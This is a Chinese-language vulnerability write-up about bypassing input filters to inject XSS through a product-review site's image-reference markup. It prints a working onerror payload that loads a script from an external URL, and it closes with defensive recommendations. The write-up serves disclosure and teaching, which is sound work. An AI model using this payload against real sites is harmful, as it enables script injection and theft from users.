一处图片引用功能导致的XSS
字数 830 2025-08-25 22:58:20

图片引用功能导致的XSS漏洞分析与利用

漏洞概述

本文详细分析了一处通过图片引用功能实现的跨站脚本(XSS)漏洞,该漏洞存在于某站点的产品评论功能中。攻击者可以通过精心构造的图片引用标记,绕过前端和后端的过滤机制,实现XSS攻击。

漏洞发现过程

初步测试

  1. 尝试常规XSS攻击时发现程序有过滤机制
  2. 提交包含<的payload会显示"Tags are not permitted"错误
  3. 发现程序过滤<但不过滤>
  4. 前端有快速检测机制,后端也有内容检测
  5. 直接XSS攻击会被拦截并跳转回首页

其他功能测试

  1. 图片上传
    • 可上传aspx文件但无法解析
    • 可上传html文件但需要主动攻击,易被发现
  2. 表情功能:无可利用点
  3. 图片引用功能:发现可利用点

漏洞利用细节

正常图片引用格式

[img|XSSURL|xxxxx Logo]

前端显示为:


XSS构造过程

  1. 初始payload构造
    常规XSS payload:

    
    

    转换为图片引用格式:

    [img|x onerror=s=createElement('script');body.appendChild(s);s.src='XSSURL';|xxxxx Logo]
    
  2. 闭合问题分析

    • 直接提交后,程序在onerror=;后面自动添加了双引号
    • 尝试使用>闭合,虽然能加载但会导致页面显示错误
    • 最终方案:闭合;后的双引号
  3. 最终有效payload

    [img|x" onerror=s=createElement('script');body.appendChild(s);s.src='XSSURL';"|hello]
    

    生成的HTML:

    
    

漏洞原理

  1. 前端过滤了<符号但允许>符号
  2. 图片引用功能未对URL参数进行充分过滤
  3. 自动添加引号的机制存在缺陷,可被利用来闭合属性
  4. 后端检测未能识别这种特殊构造的XSS payload

防御建议

  1. 对所有用户输入进行严格的HTML实体编码
  2. 实现内容安全策略(CSP)限制外部脚本加载
  3. 对图片引用功能进行白名单验证,只允许特定格式的URL
  4. 在后端实施更严格的XSS过滤,而不仅依赖前端检测
  5. 对自动添加的引号进行更安全的处理,避免被利用闭合

总结

该漏洞展示了即使存在前端和后端过滤,攻击者仍可能通过精心构造的payload绕过防护。关键在于理解系统的过滤机制和自动处理逻辑,找到其中的薄弱环节进行突破。防御此类攻击需要多层次的安全措施和严格的输入验证。

图片引用功能导致的XSS漏洞分析与利用 漏洞概述 本文详细分析了一处通过图片引用功能实现的跨站脚本(XSS)漏洞,该漏洞存在于某站点的产品评论功能中。攻击者可以通过精心构造的图片引用标记,绕过前端和后端的过滤机制,实现XSS攻击。 漏洞发现过程 初步测试 尝试常规XSS攻击时发现程序有过滤机制 提交包含 < 的payload会显示"Tags are not permitted"错误 发现程序过滤 < 但不过滤 > 前端有快速检测机制,后端也有内容检测 直接XSS攻击会被拦截并跳转回首页 其他功能测试 图片上传 : 可上传aspx文件但无法解析 可上传html文件但需要主动攻击,易被发现 表情功能 :无可利用点 图片引用功能 :发现可利用点 漏洞利用细节 正常图片引用格式 前端显示为: XSS构造过程 初始payload构造 : 常规XSS payload: 转换为图片引用格式: 闭合问题分析 : 直接提交后,程序在 onerror= 和 ; 后面自动添加了双引号 尝试使用 > 闭合,虽然能加载但会导致页面显示错误 最终方案:闭合 ; 后的双引号 最终有效payload : 生成的HTML: 漏洞原理 前端过滤了 < 符号但允许 > 符号 图片引用功能未对URL参数进行充分过滤 自动添加引号的机制存在缺陷,可被利用来闭合属性 后端检测未能识别这种特殊构造的XSS payload 防御建议 对所有用户输入进行严格的HTML实体编码 实现内容安全策略(CSP)限制外部脚本加载 对图片引用功能进行白名单验证,只允许特定格式的URL 在后端实施更严格的XSS过滤,而不仅依赖前端检测 对自动添加的引号进行更安全的处理,避免被利用闭合 总结 该漏洞展示了即使存在前端和后端过滤,攻击者仍可能通过精心构造的payload绕过防护。关键在于理解系统的过滤机制和自动处理逻辑,找到其中的薄弱环节进行突破。防御此类攻击需要多层次的安全措施和严格的输入验证。